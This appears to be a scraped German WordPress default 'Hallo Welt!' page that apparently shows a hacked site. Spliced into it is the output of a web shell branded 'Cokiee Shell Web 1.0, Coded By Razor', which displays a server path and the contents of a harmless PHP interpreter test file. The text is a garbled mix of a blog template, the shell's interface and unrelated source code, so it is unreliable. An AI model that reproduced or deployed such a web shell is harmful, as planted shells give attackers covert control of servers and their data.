Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/Zend/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/Zend/tests/bug69212.phpt |
--TEST-- Bug #69212: Leaking VIA_HANDLER func when exception thrown in __call/... arg passing --FILE-- <?php class Test { public static function __callStatic($method, $args) {} public function __call($method, $args) {} } function do_throw() { throw new Exception; } try { Test::foo(do_throw()); } catch (Exception $e) { echo "Caught!\n"; } try { (new Test)->bar(do_throw()); } catch (Exception $e) { echo "Caught!\n"; } try { $f = function () {}; $f->__invoke(do_throw()); } catch (Exception $e) { echo "Caught!\n"; } try { $t = new Test; $f->__invoke($t->bar(Test::foo(do_throw()))); } catch (Exception $e) { echo "Caught!\n"; } ?> --EXPECT-- Caught! Caught! Caught! Caught!
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare